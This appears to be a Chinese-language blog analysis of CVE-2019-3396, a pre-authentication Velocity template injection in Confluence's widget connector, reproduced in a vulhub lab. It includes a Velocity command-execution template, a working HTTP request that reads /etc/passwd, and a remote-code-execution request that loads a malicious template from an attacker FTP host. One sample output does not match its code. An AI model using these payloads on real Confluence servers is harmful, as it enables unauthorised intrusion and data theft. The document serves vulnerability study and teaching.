简介

Confluence Server和Confluence Data Center的widgetconnector组件存在严重的安全漏洞,可以在不需要账号登陆的情况下进行未授权访问,精心构造恶意的JSON字符串发送给widgetconnector组件处理,可以进行任意文件读取、Velocity-SSTI远程执行任意命令。

影响版本:

  • 更早 – 6.6.12(不包含)

  • 6.7.0 – 6.12.3(不包含)

  • 6.13.0 – 6.13.3(不包含)

  • 6.14.0 – 6.14.3(不包含)

影响组件:

  • widgetconnector.jar <=3.1.3

Apache Velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。

选择Confluence中使用的Velocity,添加pom.xml依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>

基本语法

语句标识符

#用来标识Velocity的脚本语句,包括#set#if#else#end#foreach#end#include#parse#macro等语句。

变量

$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

1
2
3
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##,多行注释为成对出现的#* ............. *#

逻辑运算

1
== && || !

条件语句

if/else为例:

1
2
3
4
5
6
7
8
9
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end

单双引号

单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似

1
2
3
#set ($var="aaaaa")
'$var' ## 结果为:$var
"$var" ## 结果为:aaaaa

属性

通过.操作符使用变量的内容,比如获取并调用getClass()

1
2
#set($e="e")
$e.getClass()

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$

基础使用

使用Velocity主要流程为:

  • 初始化Velocity模板引擎,包括模板路径、加载类型等
  • 创建用于存储预传递到模板文件的数据的上下文
  • 选择具体的模板文件,传递数据完成渲染

VelocityTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Velocity;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

import java.io.StringWriter;

public class VelocityTest {
public static void main(String[] args) {

VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();


VelocityContext context = new VelocityContext();
context.put("name", "Rai4over");
context.put("project", "Velocity");


Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:" + sw);
}
}

模板文件src/main/resources/test.vm

1
2
3
Hello World! The first velocity demo.
Name is $name.
Project is $project

输出结果:

1
2
3
4
5
final output:
Hello World! The first velocity demo.
Name is Victor Zhang.
Project is Velocity
java.lang.UNIXProcess@12f40c25

通过VelocityEngine创建模板引擎,接着velocityEngine.setProperty设置模板路径src/main/resources、加载器类型为file,最后通过velocityEngine.init()完成引擎初始化。

通过VelocityContext()创建上下文变量,通过put添加模板中使用的变量到上下文。

通过getTemplate选择路径中具体的模板文件test.vm,创建StringWriter对象存储渲染结果,然后将上下文变量传入template.merge进行渲染。

RCE

修改模板内容为恶意代码,通过java.lang.Runtime进行命令执行

1
2
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")

org.apache.velocity.app.VelocityEngine

image-20200807165244627

引擎初始化时构造函数什么也没做,但是会调用RuntimeInstance,接着调用setProperty设置路径等参数。

org.apache.velocity.app.VelocityEngine#setProperty

image-20200807165721404

ri就是前面的RuntimeInstance实例,跟进setProperty方法

org.apache.velocity.runtime.RuntimeInstance#setProperty

image-20200807165914031

调用setProperty(key, value)设置键值对,最后引擎对象init()后为:

image-20200807175900853

org.apache.velocity.VelocityContext#VelocityContext()

image-20200807193518812

继续调用有构造参数

org.apache.velocity.VelocityContext#VelocityContext(java.util.Map, org.apache.velocity.context.Context)

image-20200807193633231

this.context被赋值为空的HashMap(),上下文变量创建完成。

org.apache.velocity.context.AbstractContext#put

image-20200807200722703

调用internalPut函数

org.apache.velocity.VelocityContext#internalPut

image-20200807200742414

调用put存入hashMap中,返回上层调用模板引擎对象getTemplate加载模板文件

org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)

image-20200807201557861

org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)

image-20200807201610926

org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)

image-20200809101357249

步步跟进套娃的getTemplate方法,然后调用getResource方法

org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String, int, java.lang.String)

image-20200809102301739

这里首先会使用资源文件名test.vm和资源类型1进行拼接为资源键名1test.vm,然后通过get方法判断1test.vm资源名是否在ResourceManagerImpl对象的globalCache缓存中,

org.apache.velocity.runtime.resource.ResourceCacheImpl#get

image-20200809102845558

然后进一步判断ResourceCacheImpl对象的cache成员并返回判断结果。

image-20200809101858215

如果资源1test.vm被缓存命中则直接加载,如果globalCache缓存获取失败则调用loadResource函数加载,加载成功后也同样会根据1test.vm资源键名放入globalCache以便下次查找。

org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource

image-20200809104214451

根据资源名称、类型通过createResource生成资源加载器,然后调用process()从当前资源加载器集中加载资源。

org.apache.velocity.Template#process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public boolean process()
throws ResourceNotFoundException, ParseErrorException
{
data = null;
InputStream is = null;
errorCondition = null;

/*
* first, try to get the stream from the loader
*/
try
{
is = resourceLoader.getResourceStream(name);
}
catch( ResourceNotFoundException rnfe )
{
/*
* remember and re-throw
*/

errorCondition = rnfe;
throw rnfe;
}

/*
* if that worked, lets protect in case a loader impl
* forgets to throw a proper exception
*/

if (is != null)
{
/*
* now parse the template
*/

try
{
BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) );
data = rsvc.parse( br, name);
initDocument();
return true;
}

getResourceStream(name)获取命名资源作为流,进行解析和初始化

image-20200809113403551

最后将解析后的模板AST-node放入data中并层层返回,然后调用template.merge进行合并渲染。

org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer)

image-20200809113839546

org.apache.velocity.Template#merge(org.apache.velocity.context.Context, java.io.Writer, java.util.List)

image-20200809114004565

这里是上面提到的ASTprocess类的data,并调用render进行渲染

org.apache.velocity.runtime.parser.node.SimpleNode#render

image-20200809114132005

node通过层层解析,最终通过反射完成任恶意命令执行,整体的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:356, Template (org.apache.velocity)
merge:260, Template (org.apache.velocity)
main:25, VelocityTest (Velocity)

Confluence-SSTI

环境搭建

直接使用vulhub环境

1
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396

设置docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
version: '2'
services:
web:
image: vulhub/confluence:6.10.2
ports:
- "8888:8090"
- "9999:9999"
depends_on:
- db
db:
image: postgres:10.7-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence

9999端口是用于jdwp远程调试的映射端口,8888是Web服务的映射端口

启动容器docker-compose up -d,然后root权限进入容器docker exec -u root -it 467b4e03119d bash

修改配置文件setenv.sh,开启Confluence的远程调试

1
vi /opt/atlassian/confluence/bin/setenv.sh

在配置文件的最后添加:

image-20200809134920857

重启Confluence容器docker-compose restart,调试端口就开启了,接下来配置IDEA。

首先将容器中的Confluence复制出来

1
docker cp 467b4e03119d:/opt/atlassian/confluence/ test

提取全部的jar

1
find ./test -name "*.jar" -exec cp {} ./confluence_jar/ \;

添加jar到项目

image-20200809140813549

为了调试中的字节码匹配,复制出容器中使用的JDK

1
docker cp 467b4e03119d:/usr/lib/jvm/java-1.8-openjdk confluence-java-1.8-openjdk

将其设置为项目的JDK

image-20200809140424940

image-20200809140443502

IDEA远程调试配置如下

image-20200809140717343

IDEA-DEBUG端口连接成功则表示调试环境无误。

漏洞复现

文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 231

{
"contentId": "786458",
"macro": {
"name": "widget",
"body": "",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"width": "1000",
"height": "1000",
"_template": "file:///etc/passwd"
}
}
}

image-20200809141752679

远程命令执行

通过python开启FTP

1
python2 -m pyftpdlib -p 21

并放入恶意的exp.vm模板文件

1
2
3
4
5
6
7
8
9
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

利用java.lang.Process执行命令并利用java.io.InputStream获取回显。

发送包含模板文件的URL、欲执行的命令的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 262

{
"contentId": "786458",
"macro": {
"name": "widget",
"body": "",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"width": "1000",
"height": "1000",
"_template": "ftp://192.168.100.109/exp.vm",
"cmd":"ls"
}
}
}

image-20200809141912111

Gadget chain

根据漏洞描述的widgetconnector组件和java.lang.Runtime执行命令的断点,找到漏洞流程入口

com.atlassian.confluence.extra.widgetconnector.WidgetMacro#execute(java.util.Map<java.lang.String,java.lang.String>, java.lang.String, com.atlassian.confluence.content.render.xhtml.ConversionContext)

image-20200809143109612

这里将JSON数据都存储在parameters中,其中url键值通过RenderUtils.getParameter提取出来,并将各个参数传入this.renderManager.getEmbeddedHtml(url, parameters)

com.atlassian.confluence.extra.widgetconnector.DefaultRenderManager#getEmbeddedHtml

image-20200809143722696

这里对this.renderSupporter对象包含很多渲染类

image-20200809183243441

对应具体目录为

image-20200810102615864

迭代该对象的元素并在if条件中进行判断,通过调用了widgetRenderer类的matches方法进行判断

com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#matches

image-20200809173725571

POC中会调用MetacafeRenderer类的matches方法,通过contains方法判断是否包含硬编码的metacafe.com,因为参数中包含因此能够进入if分支,并继续调用getEmbeddedHtml方法

com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#getEmbeddedHtml

image-20200809174002859

传入getEmbeddedHtml的参数为可控的params,除了metacafe.com,还有其他的渲染类也能满足

GoogleVideoRenderer

image-20200810102900093

EpisodicRenderer

image-20200810102923025

继续跟进到DefaultVelocityRenderService对象的render方法

com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class:60

image-20200810103245851

继续跟进getRenderedTemplate

com.atlassian.confluence.extra.widgetconnector.services.DefaultVelocityRenderService#getRenderedTemplate

image-20200810104927988

com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, java.util.Map)

image-20200810105019484

com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String, org.apache.velocity.context.Context)

image-20200810105032273

com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context)

image-20200810105535795

将远程模板ftp://192.168.50.63/exp.vm和环境变量层层传递,创建StringWriter用于存储结果,继续跟进renderTemplateWithoutSwallowingErrors函数

com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)

image-20200810110040503

继续跟进

com.atlassian.confluence.util.velocity.VelocityUtils#getTemplate

image-20200810110125419

先跟进getVelocityEngine()看结果

com.atlassian.confluence.util.velocity.VelocityUtils#getVelocityEngine

image-20200810110216269

返回生成并返回一个模板引擎对象,并继续调用getTemplate函数

org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String, java.lang.String)

image-20200810111950958

远程加载模板,过程和上面一样包括初始化加载器、加入缓存等等,不再跟进,向上层层返回模板对象

com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String, org.apache.velocity.context.Context, java.io.Writer)

image-20200810110040503

跟进renderTemplateWithoutSwallowingErrors函数

com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(org.apache.velocity.Template, org.apache.velocity.context.Context, java.io.Writer)

image-20200810135259940

这里使用模板对象进行合并操作,完成恶意命令执行,最后的调用栈为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection)
execute:270, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:262, ASTReference (org.apache.velocity.runtime.parser.node)
value:507, ASTReference (org.apache.velocity.runtime.parser.node)
value:71, ASTExpression (org.apache.velocity.runtime.parser.node)
render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:328, Template (org.apache.velocity)
merge:235, Template (org.apache.velocity)
renderTemplateWithoutSwallowingErrors:68, VelocityUtils (com.atlassian.confluence.util.velocity)
renderTemplateWithoutSwallowingErrors:76, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
getEmbeddedHtml:42, MetacafeRenderer (com.atlassian.confluence.extra.widgetconnector.video)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJoinpointUsingReflection:302, AopUtils (org.springframework.aop.support)
doInvoke:56, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
invoke:60, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invokeUnprivileged:70, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
invoke:53, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:57, LocalBundleContextAdvice (org.eclipse.gemini.blueprint.service.importer.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
getEmbeddedHtml:-1, $Proxy1665 (com.sun.proxy)
getEmbeddedHtml:32, DefaultRenderManager (com.atlassian.confluence.extra.widgetconnector)
execute:73, WidgetMacro (com.atlassian.confluence.extra.widgetconnector)

参考

https://xz.aliyun.com/t/7466

https://www.jianshu.com/p/378827f1dfc8

http://blog.leanote.com/post/zhangyongbo/Velocity%E8%AF%AD%E6%B3%95

https://www.cnblogs.com/yangzhinian/p/4885973.html

https://caiqiqi.github.io/2019/11/03/Confluence%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2019-3396/

[https://lucifaer.com/2019/04/16/Confluence%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-3396%EF%BC%89/](https://lucifaer.com/2019/04/16/Confluence 未授权RCE分析(CVE-2019-3396)/)